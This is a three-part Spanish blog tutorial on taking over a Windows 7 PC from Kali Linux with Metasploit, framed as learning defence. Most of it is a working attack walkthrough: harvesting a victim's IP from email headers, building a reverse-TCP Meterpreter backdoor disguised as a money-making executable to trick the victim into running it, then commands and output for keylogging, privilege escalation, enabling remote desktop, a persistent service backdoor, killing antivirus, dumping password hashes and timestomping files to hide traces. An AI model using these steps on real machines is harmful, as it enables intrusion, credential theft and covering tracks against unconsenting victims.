Está en la página 1de 41

Posted on 2 abril, 2015 por m4ster00t

Hola hackers de tiempo compartido, hoy vamos a ver cómo acceder a una pc
desde kali Linux a Windows 7.

Todos sabemos que la tecnología avanza a pasos agigantados, pero muchas veces
no somos conscientes de los riesgos que acarrea, para algunos pero para otros son
beneficios.

Por diversos motivos debemos saber cómo acceder a una pc desde otra, uno de
ellos y el más importante es aprender a defendernos antes un ataque informático
y conocer las técnicas que pueden utilizar para encontrar vulnerabilidades en
nuestra pc.

Este tema se va a dividir en varias partes ya que vamos a tratar de detallar de


forma completa este tipo de ataque.

Antes que nada recomiendo practicar este ataque informático en nuestra propia
pc, creando máquinas virtuales con diferentes sistemas operativos, ya que si lo
hacemos a una pc externa a nuestra red o sin el consentimiento de la víctima, está
penado por la ley y es delito.

Nos dejamos de palabrerías y ponemos las manos en nuestras armas informáticas.

Antes de comenzar con el ataque informático debemos tener en claro el


MODELO OSI y diferenciar las capas de red.

Si necesitan un tutorial de redes con gusto lo crearé, solo deben escribirlo en un


comentario.

[ATENCIÓN] Este no es el metodo que vamos a utilizar ahora, en este


tutorial, solo leseseño como capturar la ip de una pc externa, podriamos decir
que utilizamos un poco de ingenieria social

Sabemos que toda pc se conecta a internet con una ip pública.Las direcciones IP


públicas son aquellas que permiten que cada dispositivo conectado a una red
pueda ser identificado. Cuándo un dispositivo se conecta a internet se le asigna
una dirección IP de las que disponga su proveedor de acceso (ISP, Internet
Service Provider). Cuándo esta persona escribe el nombre de un dominio en el
navegador, este nombre es convertido en la dirección IP del servidor dónde está
alojada la web con ese nombre (un servidor no es más que un ordenador
conectado a internet que aloja las páginas web y las envía a los usuarios que las
solicitan). La dirección IP del servidor es una dirección IP pública y el servidor
utiliza la dirección IP pública del usuario para saber dónde enviar la información
de vuelta.Si quieres conocer tu IP pública realiza una simple búsqueda en
cualquier buscador de internet, existen multitud de páginas web que permiten ver
al usuario su dirección IP pública.
Una de las formas para poder escanear las vulnerabilidades de una pc es
encontrar esa ip pública. Podemos utilizar infinidades de métodos, como crear
una web donde podamos acceder a la información del pc con variables globales,
como por ejemplo en php:
1. // IP compartido
2. echo “IP Share: ” . $_SERVER[‘HTTP_CLIENT_IP’] . “<br />”;
3. // IP Proxy
4. echo “IP Proxy: ” . $_SERVER[‘HTTP_X_FORWARDED_FOR’] . “<br
/>”;
5. // IP Acceso
6. echo “IP Access: ” . $_SERVER[‘REMOTE_ADDR’] . “<br />”;
Entre otras cosas.
Pero el método que utilizaremos es más simple, vamos a lograr que nuestra
victima nos envié un email de Hotmail a nuestra casilla Hotmail.
Una vez abierta nuestra cuenta de correo, buscamos el mail que nos enviaron,
nos posicionamos en él, hacemos clic derecho y vamos a notar que se nos abre
un menú de opciones, de las cuales vamos a elegir [VER CODIGO FUENTE
DEL MENSAJE].
En esta estructura de código encontramos en una línea donde existe una variable
llamada X-Originating-IP que almacena la ip publica de la víctima.
En otro tutorial vamos a utilizar esta informacion
/****************************************************************
**********************/

COMENZAMOS CON EL
TUTORIAL HACKING
CON KALI
LINUX UTILIZANDO
“MSFCONSOLE” CREANDO
CONEXIÓN REMOTA
(PARTE I):
La idea es crear un backdoor ejecutable que nos de la opción de crear una puerta
trasera (backdoor) en la pc de la víctima.

Para ellos vamos a utilizar la distribución de Linux/debían Kali Linux, donde


usaremos varias herramientas.

1 PASO:

Vamos a comenzar con Metaesploit Framework.

Que es un exploits?
Las definiciones habituales hablan de un programa o código que se aprovecha
de un agujero de seguridad (vulnerabilidad) en un sistema, de forma que un
atacante podría usarla en su beneficio.
Trasladado a la vida real, sería como si un modelo de cerradura (sistema o
aplicación) tuviera un fallo de diseño que nos permitiera crear llaves que la
abrieran (exploit) y poder así acceder al sitio que trata de proteger y realizar
actos delictivos (malware).
Existe confusión entre los usuarios y cierto mito de que un exploit puede
considerarse malware. La realidad es que, tal y como hemos visto en el ejemplo,
no es un código malicioso en sí mismo, sino que es la llave para que estos
accedan a nuestro sistema.
De esta forma, puede proporcionarles los permisos necesarios para poder
ejecutarse en un sistema e infectarlo aprovechándose de una vulnerabilidad.
Que es metasploit framework?
El FrameWork de Metasploit es una herramienta de penetración de código libre,
desarrollado para ejecutar exploits a un objetivo remoto. Metasploit cuenta con
la mayor base de datos de exploits públicos, probados y puede ser usado para
detectar las vulnerabilidades de nuestros sistemas para protegerlos o usar esas
vulnerabilidades para obtener acceso a sistemas remotos. Es una herramienta
bastante poderosa para los test de penetración y es algo que todo profesional de
seguridad debe dominar. Puede ser un poco complicado al inicio pero todo es
cuestión de paciencia y dedicación.
El framework de Metasploit ha sido una de las herramientas más utilizadas por
los profesionales de seguridad informática para llevar a cabo sus test de
penetración y auditorias de seguridad pero era muy poco conocido. Esa
situación cambio significativamente cuando el personal de Offensive Security
(unos genios) desarrollo un curso en línea para enseñar el uso de esta
herramienta.
Con estos conceptos podemos empezar con kali Linux:
Abrimos una consola y escribimos lo siguiente “msfconsole” y
presionamos intro.

Recuerden que deben iniciar la conexión a la base datos con postgresql, para
ello deben activarlo:
Puedes colocar en la consola “show exploits” para que despliegue una lista de
exploits el cual tu debes de elegir el apropiado para tu ataque.
Que es Payload?
Hablábamos de que las vulnerabilidades o errores presentes en cualquier
software pueden ser aprovechadas para producir efectos inesperados en los
equipos, una vez descubierto ese fallo se desarrollaban pequeños programas
(exploits) para forzar de forma específica ese error en el sistema.
Además de conseguir que el software produzca ese error lo ideal sería poder
aprovecharlo para que el equipo realice las funciones que yo desee.
Esa parte del software que nos brinda una función ante un error es el Payload,
la ventaja de este planteamiento es que el mismo payload puede ser utilizado por
distintos exploits y un mismo exploit puede utilizar varios payloads, una
programación modular fantástica.
Un ejemplo claro asociamos a payload con la estructura de un virus tripartita:
1)Mecanismo de reproducción Infección que genera copias del virus “pegadas”
en ficheros ejecutables o en el sector de arranque de discos (en realidad son
programas también).
2)Detonante (trigger) Esta parte del virus (de su código) se encarga de
comprobar si se cumplen las situaciones previstas por el programador. Cuando
se cumplan una o varias circunstancias: puede ser una fecha concreta, una
acción por parte del usuario, etc.
3)Carga (payload) La acción que realiza el virus. No tiene por qué ser
destructivo: puede ser mostrar una ventana, un mensaje, etc. Entre los payload
destructivos o perjudiciales pueden encontrarse desde el borrado de ficheros
hasta el envío de información confidencial a destinos no autorizados. El virus
intentará sobrevivir el máximo tiempo posible e infectar al mayor número de
ficheros y/o ordenadores.
Para esto, desde el sencillo “Brain” en 1986, se usan las llamadas técnicas de
ocultación, que buscan engañar al usuario y a los antivirus. Uno de los mitos
más persistentes hacen referencia a las llamadas “mutaciones” de los virus, que
en la mayoría de las ocasiones son cambios que realizan determinados
programadores sobre el código de un virus o gusano exitoso (y los medios de
comunicación no se refieren al polimorfismo sino a lo citado). Otro es que la
infección vírica destruye, pero la realidad es que no es destructora salvo errores
(bugs) de programación. Lo que puede destruir es el “payload”.
Por ahora dejaremos acá, pronto continuamos con la parte II.

Hackers a tener en cuenta que:


************************************************************
#La utilización de herramientas y habilidades similares a los atacantes con el
ánimo de hacer un aporte a la seguridad y hacer el bien.
************************************************************
#La utilización en carácter fuera de la ley vigente, el uso de las herramientas
informáticas descriptas en los tutoriales, no es responsabilidad del
administrador del sitio.
IMAGEN DEL TUTORIAL ANTERIOR HACKING CON KALI LINUX
UTILIZANDO “MSFCONSOLE” CREANDO CONEXIÓN REMOTA
(PARTE I)

Hola informáticos, vamos a seguir con la segunda parte de HACKING


CON KALI LINUX UTILIZANDO “MSFCONSOLE” CREANDO
CONEXIÓN REMOTA.

Hoy vamos ver como iniciar una escucha de puertos desde tu


distribución, la idea de todo esto es controlar la pc victima mediante el
backdoor conseguido.

En la parte I habíamos descripto como ver la cantidad de exploit que nos


brinda la base de datos mediante la consola, ahora lo que vamos hacer
es iniciar la escucha de puertos mediante la activación del “handler”.
Para comprender esto vamos a explicar con breves palabras lo que hace
el “handler”:

Con Metasploit puedes iniciar un handler de escucha en cualquier


momento, esto es útil cuando estás ejecutando un backdoor en una
máquina y necesitas que se conecte a tu máquina para poder tomar
control remoto. A continuación te muestro los pasos para levantar un
servicio que escucha en el mismo puerto de tu backdoor.

Dependiendo del payload (algoritmo dentro del exploit), el handler


quedará a la escucha esperando una conexión por parte del payload
(reverse payload) o iniciará una conexión contra un host en un puerto
especificado este sería el caso de un bind payload).

La configuración básica simplemente trata de primero elegir el exploit


“exploit/multi/handler”, segundo elegir el payload , tercero configurar las
opciones del payload (lhost y lport para un reverse shell o rhost y rport
para un bind shell) y cuarto “lo más agradable” ejecutar el exploit.
Ahora debemos configurar las opciones del payload utilizando “LHOST”
para burlar el firewall, esta opción nos va a enlazar la dirección IP que
hayamos configurado en nuestra distribución con el servidor SMB.

Este protocolo SMB también se llama CIFS, aunque el nombre SMB tiene un uso
más amplio. Los servidores SMB se utilizan para administrar y mantener los
servicios de pequeñas y medianas empresas a través de una red o servicio de
Active Directory en un entorno de red de Windows.
Luego vamos a configurar el LPORT, esta se encarga de configurar el
puerto del servidor SMB (4321).
Es hora ejecutar el payload y crear el backdoor ejecutable, siempre
recomendable hacer un “show payload” en la consola para ver cuales
son los payload disponibles y sus actualizaciones.

Antes que nada quiero aclarar que la estructura de la mayoría de los


payloads dicen exactamente que es lo hacen.

Si en la descripción de un payload es “Inline” eso significa es que es un


payload single (independiente) o si en vez lo anterior dice “Stager”
significa que es un payload montable.

Por ejemplo:

cmd/windows/adduser – Este es un payload individual que ejecuta “net


user /add” con el nombre de usuario y contraseña que hemos
especificado. Este payload no indica que es “Inline” pero todos los
payloads de los grupos “cmd/*” o “*/exec” son individuales (una
excepción).

osx/armle/vibrate – Un payload individual que cuando se ejecuta en un


iPhone, lo hace vibrar.

Una cosa que no es inmediatamente obvia es otro marcador de los


payloads montables (staged) vs los individuales (singles):

osx/ppc/shell/reverse_tcp

osx/ppc/shell_reverse_tcp

La diferencia entre estos dos payloads no es mas que un underscore ‘_’


en lugar de un forward slash ‘/’. El payload con el underscore significa
que es un payload individual mientras que el otro significa que es un
payload montable. La mayoria se ajustan
a OS/ARCHITECTURE/TYPE/PAYLOAD donde un slash en lugar de un
underscore entre TYPE y PAYLOAD significará la diferencia que
acabamos de tratar, pero no todos los payloads se ajustan a este
formato. Podemos incluso enloquecernos e ir a revisar el directorio:
msfdirectory/modules/payloads/ – todo en el directorio singles y vamos a
ver que efectivamente es un payload individual.

Los payloads individuales son los mejores para ejecutar y olvidarnos de


ellos, son utilizados como payloads para memorias USB de tal forma que
la máquina no hace falta que tenga una conexión para hacer lo que se
necesita hasta llegar a un método de persistencia satisfactorio.

Colocamos en la consola “msfpayload windows/meterpreter/reverse_tcp


LHOST=‘ip atacante’ LPORT=‘puerto del SMB
(4321) ‘ x>/root/clic_para_ganar_dinero.exe”, recuerden reemplazar
LHOST=’ip atacante’ LPORT=’puerto del SMB (4321) ‘ por lo que
ustedes crearon como lo muestra la imagen a continuación.
Una vez creado el backdoor ejecutable
Que es Meterpreter?

Meterpreter es utilidad que permite obtener una gran cantidad de


información sobre un objetivo comprometido, así como también
manipular procesos del sistema y terminarlos.

Meterpreter es un intérprete de comandos que permite de una forma


segura interactuar con la máquina objetivo ganando por una parte, la
flexibilidad de un stagers (ejecución de múltiples comandos en un
payload) y por otra, la fiabilidad de que no será detectado fácilmente por
un antivirus, firewall o IDS ya que se ejecuta como un proceso en el
sistema operativo y no escribe ningún fichero al sistema remoto.
La comunicación entre el intérprete Meterpreter y la maquina remota es
vía SSL lo que quiere decir que la información intercambiada entre las
dos maquinas viaja cifrada y es posible utilizar múltiples canales de
ejecución, es decir, múltiples programas ejecutándose en la maquina
remota y todos pueden ser manejados desde meterpreter con los
comandos “channel” y “execute”.

En el proximo tutorial vamos a ver mas de fondo esta interesante utilidad


Meterpreter, por ahora dejamos aca, los veo e la parte III de este tutorial.

************************************************************
#La utilización de herramientas y habilidades similares a los atacantes con el
ánimo de hacer un aporte a la seguridad y hacer el bien.
************************************************************
#La utilización en carácter fuera de la ley vigente el uso de las herramientas
informáticas descriptas en los tutoriales, no es responsabilidad del
administrador del sitio.
************************************************************

Hola hackers, siguiendo con el capítulo anterior de HACKING CON


KALI LINUX UTILIZANDO “MSFCONSOLE” CREANDO CONEXIÓN
REMOTA (PARTE II), vamos a comenzar con la parte III.
Básicamente meterpreter es una utilidad que permite obtener una gran
cantidad de información sobre un objetivo, así como también manipular
procesos del sistema y terminarlos, utilizando payloads y la fiabilidad de
que no será detectado fácilmente por un antivirus, firewall.

Además la comunicación entre el intérprete Meterpreter y la maquina


remota es vía SSL lo que quiere decir que la información intercambiada
entre las dos máquinas viaja cifrada. Todos pueden ser manejados
desde meterpreter con los comandos “channel” y “execute”.

Características de meterpreter:

background <core>
Permite establecer el proceso de la consola meterpreter a un proceso
atacante, eventualmente se puede volver a activar este proceso por
medio del comando sesión:

meterpreter > background

msf exploit(handler) > sessions -l

keyscan <Stdapi User Interface Commands>

Con esta utilidad es posible saber que ha digitado el usuario en su


máquina.

meterpreter > keyscan_start

Con esto se ha iniciado el keylogger, posteriormente para consultar lo


que se digitado:

meterpreter > keyscan_dump

<Ctrl> <LCtrl> t <Ctrl> <LCtrl> l <Esc> gmail.com <Return>


usuario<Tab> passSuperSegura <Return>

Finalmente para detener el servicio basta con:

meterpreter > keyscan_stop

getuid <Stdapi System Commands>, getsystem <Priv: Elevate


Commands> y rev2self <stdapi System Commands>

Con estos comandos se pueden hacer operaciones de consulta y


manipulación de cuentas de usuarios

meterpreter > getuid


Server username: OWNER\Admin

Para obtener la cuenta del usuario SYSTEM

meterpreter > getsystem

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Para volver a la sesión anterior

meterpreter > rev2self

meterpreter > getuid

Server username: OWNER\Admin

migrate <Core>

Permite migrar el proceso de Meterpreter a otro proceso activo, basta


con especificar un PID activo, este mismo puede ser consultado
utilizando el comando “ps” de Meterpreter.

meterpreter > migrate 1780

De esta forma, cuando se cierre el proceso en ejecución anteriormente


asociado al proceso de Meterpreter, este será “activo” al proceso
especificado, se recomienda que el PID sea el de el
proceso explorer.exe o uno que tenga relación con los procesos del
sistema operativo.
getgui

Con este comando es posible acceder al escritorio remoto de la maquina


objetivo.

meterpreter > run getgui -e


[*] Windows Remote Desktop Configuration Meterpreter Script by
Darkoperator

[*] Cara de mono cada_de_mono@nohaynada.com

[*] Enabling Remote Desktop

[*] RDP is disabled; enabling it …

[*] Setting Terminal Services service startup mode

[*] The Terminal Services service is not set to auto, changing it to auto …

[*] Opening port in local firewall if necessary

[*] For cleanup use command: run multi_console_command -rc


/root/.msf3/logs/scripts/getgui/clean_up__20150408.0714.rc

Posteriormente podemos conectarnos al escritorio remoto usando el


comando rdesktop con esta sintaxis:

rdesktop -u admin -p admin 192.168.1.34


Cabe notar que el usuario y el password especificados pueden
corresponder a un usuario creado anteriormente con incognito, aunque
evidentemente se puede utilizar cualquier otro usuario con credenciales
válidas.

Finalmente, se limpia lo que se ha hecho para no dejar rastros:

meterpreter > run multi_console_command -rc


/root/.msf3/logs/scripts/getgui/clean_up__20150408.0714.rc

[*] Running Command List …

[*] Running command reg setval -k


‘HKLM\System\CurrentControlSet\Control\Terminal Server’ -v
‘fDenyTSConnections’ -d “1”

Successful set fDenyTSConnections.

[*] Running command execute -H -f cmd.exe -a “/c sc config termservice


start= disabled”

Process 580 created.

[*] Running command execute -H -f cmd.exe -a “/c sc stop termservice”


Process 3184 created.

[*] Running command execute -H -f cmd.exe -a “/c ‘netsh firewall set


service type = remotedesktop mode = enable’”
Process 1312 created.

metsvc

Permite definir un proceso persistente en la maquina objetivo que se


encontrará a la espera de una nueva conexión por parte del atacante,
para esto será necesario en primer lugar migrar el proceso de la sesión
meterpreter actual a otro proceso persistente del objetivo, del modo en el
que se ha indicado anteriormente con el comando migrate, por este
motivo los procesos que resultan más interesantes son aquellos propios
del sistema operativo, posteriormente se puede ejecutar:

meterpreter > run metsvc

[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory


C:\DOCUME~1\Owner\LOCALS~1\Temp\lZBdswMe…

[*] >> Uploading metsrv.dll…

[*] >> Uploading metsvc-server.exe…


[*] >> Uploading metsvc.exe…

[*] Starting the service…

* Installing service metsvc

* Starting service

Service metsvc successfully installed.

Como se puede apreciar la backdoor se ha instalado correctamente en el


objetivo, ahora es posible realizar una conexión activa, ya no es
necesario esperar de forma pasiva a que un usuario ejecute el fichero
.exe que habilitará la sesión meterpreter.

killav

En muchas ocasiones en la maquina objetivo existen programas de


antivirus instalados, lo que dificultará tareas comunes e inclusive triviales,
por esta razón existe el script killav que intentará terminar todos los
procesos de antivirus en el objetivo:

meterpreter > run killav


[*] Killing Antivirus services on the target…

[*] Killing off avgrsx.exe…

meterpreter >

Aunque con este comando se supone que se deberían eliminar los


procesos de monitoreo como Antivirus, en algunos casos no funciona
correctamente, en especial cuando se trata de antivirus que tienen
procesos persistentes/resilentes y que no pueden ser detenidos con los
mecanismos convencionales, es en estos casos en los que se deben
emplear mecanismos más elaborados para desactivar esta clase de
servicios en la maquina comprometida, aquí entra en juego un proceso
de recolección de información y análisis de las defensas del objetivo.

route <Stdapi Network commands>

Se trata del conocido comando route en sistemas windows/linux, permite


conocer y definir las tablas de enrutamiento del sistema

meterpreter > route list

cd, rm, rmdir, pwd, ls, upload, download, cat edit, del, mkdir <File System
Commands>
Se trata de los comandos básicos para consulta y manipulación de
ficheros, su uso es equivalente a los comandos del mismo nombre
disponibles en sistemas basados en UNIX, sin embargo estos comandos
se ejecutan en el sistema remoto por medio del interprete meterpreter

cd:

Permite navegar a través de la estructura de directorios rm y del eliminar


un fichero especificado,

pwd:

Conocer el directorio actual en donde apunta meterpreter.

upload:

Para subir un fichero a la maquina remota.

download:

Descargar un fichero desde la maquina remota.

mkdir :

crear un directorio nuevo.

cat :

Permite visualizar un fichero remoto.

Edit:

Permite editarlo con el uso de vi.

Idletime <Stdapi User Interface Commands>


Permite determinar cuanto ha sido el tiempo en el que el usuario de la
maquina remota ha permanecido sin actividad:

meterpreter > idletime

User has been idle for: 15 mins 57 secs

meterpreter > idletime

User has been idle for: 16 mins

channel <core>, execute <Stdapi System Commands>, interact<core>


read<core>, write<core>, close<core>

Para definir diferentes procesos que se ejecuten en la maquina remota y


posteriormente declararlos como canales para ser manejados por
meterpreter por medio del uso del comando channel:

meterpreter > execute -f cmd -c

Process 3356 created.

Channel 11 created.
meterpreter > getpid

Current pid: 1836

meterpreter > execute -f cmd -c

Process 4663 created.

Channel 15 created.

meterpreter > execute -f cmd -c

Process 2456 created.

Channel 16created.

Como se ha podido apreciar, se han creado diferentes canales con un


proceso asociado, posteriormente es posible consultarlos con el
comando channel:
meterpreter > channel -l

Id Class Type

— —– —-

11 3 stdapi_process

12 3 stdapi_process

13 3 stdapi_process

Si se desea interactuar con alguno de esto canales, se utiliza el comando


“interact” para definir alguno de los canales creados y posteriormente
interactuar con él.

meterpreter > interact 11

Interacting with channel 11…

c:\>exit
meterpreter > channel -l

Otra forma de interactuar con un canal, es utilizando los comandos read


y write, que permiten enviar flujos de datos a un canal definido de una
forma sencilla:

meterpreter > write 12

Finalmente con el comando close, se cierra algún canal que se encuentre


abierto

meterpreter > close 16

getdesktop <Stdapi, User Interface Commands>, enumdesktops <Stdapi


User Interface Commands> setdesktop<Stdapi User Interface
Commands>

Estos comandos permiten obtener el desktop del usuario actual,


establecerlo y enumerar las diferentes interfaces habilitadas en la
maquina objetivo, cada uno de los desktop están asociados a una sesión,
que normalmente la sesión 0 se relaciona con el usuario actualmente
conectado y las demás con usuarios remotos. Una estación (por ejemplo
es la Windows Station) y un nombre de Desktop, este nombre identifica
la interfaz que se enseña al usuario.

meterpreter > enumdesktops


Para saber en que desktop se encuentra asociada la sesión meterpreter
basta con invocar el método getdesktop:

meterpreter > getdesktop

Session 0\WinSta0\Default

Cada uno de los desktop tiene sus propios procesos en ejecución y


además de esto, tienen su propio buffer de teclado y dispositivos de
entrada, por lo tanto cuando se realiza el monitoreo de teclas del
objetivo, es necesario conocer el desktop actual de ejecución y también
es necesario que el proceso del cual depende meterpreter se encuentre
en ejecución para dicho desktop, por esta razón es posible que el mismo
monitoreo de teclas no funcione de la misma forma para el desktop de
inicio de sesión que para el escritorio de un usuario logueado.

uictl<Stdapi User Interface Commands>, hashdump<Priv Password


database Commands>, timestomp<Priv Timestomp Commands>

El comando uictl permite habilitar/deshabilitar el ratón y el teclado de la


maquina destino, de esta forma, se puede controlar las acciones que el
usuario realiza.

meterpreter > uictl

Usage: uictl [enable/disable] [keyboard/mouse]


meterpreter > uictl disable keyboard

Disabling keyboard…

meterpreter > uictl enable keyboard

Enabling keyboard…

meterpreter > uictl disable mouse

Disabling mouse…

meterpreter > uictl enable mouse

Enabling mouse…

El comando hashdump permite obtener los usuarios y el hash de los


passwords de la maquina remota en formato SAM, de esta forma se
puede crakear la clave de un usuario determinado usando herramientas
como john the ripper o ophcrack
meterpreter > hashdump

Administrator:500:asdfghjkll1404eeaad3b435b51404ee:31d6cfe0d16ae9
31b73c59d7e0c089c0:::

ASPNET:1004:f398e05bcb3llllllf92d55aff8ce62c:86ceb0fb2a9e29524943f
ed3ef434477:::

Naldo:1007:f920b27cf8b06ac9alllllllb51404ee:c52abb1e14677d7ea228fc
c1171ed7b7:::

SUPPORT_388945a0#:1002:aad3b435b51404eelld3b435b51404ee:537
6b4d52202b447093e4651b63d1572:::

Con la siguiente instrucción se puede cambiar la fecha de creación del


fichero.

meterpreter > timestomp C:\AUTOEXEC.BAT -c “10/10/2010 10:10:10″

[*] Setting specific MACE attributes on C:AUTOEXEC.BAT

Con la siguiente instrucción se puede cambiar la fecha de modificación


del fichero.

meterpreter > timestomp C:\AUTOEXEC.BAT -m “10/10/2010 10:10:10″


[*] Setting specific MACE attributes on C:AUTOEXEC.BAT

Con la siguiente instrucción se puede cambiar la fecha de ultimo acceso


del fichero.

meterpreter > timestomp C:\AUTOEXEC.BAT -a “10/10/2010 10:10:10″

[*] Setting specific MACE attributes on C:AUTOEXEC.BAT

Las opciones suministradas por el comando son:

meterpreter > timestomp -h

Usage: timestomp file_path OPTIONS

OPTIONS:

-a <opt> Set the “last accessed” time of the file

-b Set the MACE timestamps so that EnCase shows blanks


-c <opt> Set the “creation” time of the file

-e <opt> Set the “mft entry modified” time of the file

-f <opt> Set the MACE of attributes equal to the supplied file

-h Help banner

-m <opt> Set the “last written” time of the file

-r Set the MACE timestamps recursively on a directory

-v Display the UTC MACE values of the file

-z <opt> Set all four attributes (MACE) of the file

Estos han sido los comandos básicos en una consola meterpreter, se


trata de opciones muy sencillas pero a su vez bastante robustas que
permiten realizar entablar un proceso de comunicación muy completo
entre un objetivo y su atacante.

En una práctica frecuente que utiliza un atacante cuando logra


comprometer un sistema, es establecer después de un periodo corto de
tiempo, el desktop asociado con el login de usuario y posteriormente
iniciar el escaneo de teclas para dicho desktop, para capturar las
credenciales del usuario que se está logueando en el sistema.

Luego debemos colocar para activar el uso del payload > set payload
windows/meterpreter/reverse_tcp y presionamos intro.

Dado que se ha definido un Payload Reverso de Meterpreter, se requiere


configurar un manejador para la conexión originada desde la victima
hacia la dirección IP asignada al sistema.

Una vez configurado y creado el backdoor, vamos a lograr que el cliente


windows lleve a su pc el ejecutable.Cuando este haga clic en el
backdoor clic_para_ganar_dinero.exe la pc quedara a nuestra disposición
para ejecutar cualquier función mediante el interprete meterpreter.
En la siguiente linea colocamos exploit donde activaremos la sesión
creada por meterpreter y el payload.
Un antivirus, por motivos de complejidad y eficiencia, no puede
monitorizar absolutamente todas las llamadas a sistema, así que vamos
a ver que acciones hace Meterpreter (en segundo plano) que parece que
el antivirus no está monitorizando ninguna de ellas.
 El exploit lleva consigo el código del Stager “reverse_tcp”.
 Se ejecuta “reverse_tcp” que únicamente reserva una zona en memoria y
realiza una conexión, y todos los datos que le llegan desde esa conexión
los guarda en esa zona y salta la ejecución a ella. En esa zona es
donde guarda el Payload que hace la inyección.
 Una vez que se salta a este Payload, este realiza la inyección en la
memoria del proceso.
 A partir de aquí, ya todo depende de las acciones que realicemos con
Meterpreter, pero el acceso lo tenemos .
La explotación no toca el disco para nada, y las acciones que realiza
son razonablemente normales, y además el proceso explotado pertenece
a SYSTEM, así que entre unas cosas y otras es bastante lógico que el
pobre Antivirus no se esté enterando de nada.

En este caso vamos a usar la sentencia “run vnc”:


VNC es un programa de software libre basado en una estructura cliente-
servidor el cual permite tomar el control del ordenador servidor
remotamente a través de un ordenador cliente. También llamado
software de escritorio remoto. VNC no impone restricciones en el sistema
operativo del ordenador servidor con respecto al del cliente: es posible
compartir la pantalla de una máquina con cualquier sistema operativo
que soporte VNC conectándose desde otro ordenador o dispositivo que
disponga de un cliente VNC portado.

Wikipedia VNC
En la imagen de abajo mostramos el backdoor en todo su esplendor,
ejecutandoce como proceso y dejándonos la pc victima a nuestra
disposición.
************************************************************
#La utilización de herramientas y habilidades similares a los atacantes con el
ánimo de hacer un aporte a la seguridad y hacer el bien.
************************************************************
#La utilización en carácter fuera de la ley vigente el uso de las herramientas
informáticas descriptas en los tutoriales, no es responsabilidad del
administrador del sitio.
************************************************************

También podría gustarte